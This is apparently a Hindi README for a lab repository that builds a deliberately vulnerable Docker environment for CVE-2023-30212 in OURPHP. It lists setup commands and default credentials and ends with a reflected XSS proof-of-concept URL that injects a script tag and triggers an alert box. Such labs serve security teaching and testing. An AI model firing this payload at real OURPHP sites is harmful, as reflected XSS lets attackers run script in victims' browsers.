असुरक्षित-डॉकर-वातावरण-बनाना-CVE-2023-30212-

मेरे रिपॉजिटरी से फ़ाइलें डाउनलोड करने के लिए git clone का उपयोग करें

git clone https://github.com/JasaluRah/Creating-a-Vulnerable-Docker-Environment-CVE-2023-30212-.git

अब डॉकर इमेज सेट करने के लिए

डॉकर इमेज बनाना

कमांड का उपयोग करें sudo docker build -t work .

डॉकर कंटेनर चलाने के लिए

कमांड का उपयोग करें sudo docker run -d -p 80:80 work

अब हमें कंटेनर आईडी मिलेगी

OURPHP देखने के लिए

ब्राउज़र में जाएं और localhost ; 127.0.0.1 खोजें अब क्रेडेंशियल का उपयोग करें उपयोगकर्ता नाम : root पासवर्ड : docker डेटाबेस : work

व्यवस्थापक के रूप में साइन इन करने के लिए

उपयोगकर्ता नाम : work पासवर्ड : work

भेद्यता की जाँच करना

इस url पर जाएं http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert("xss")</script> हमें "xss" के रूप में अलर्ट संदेश मिलेगा।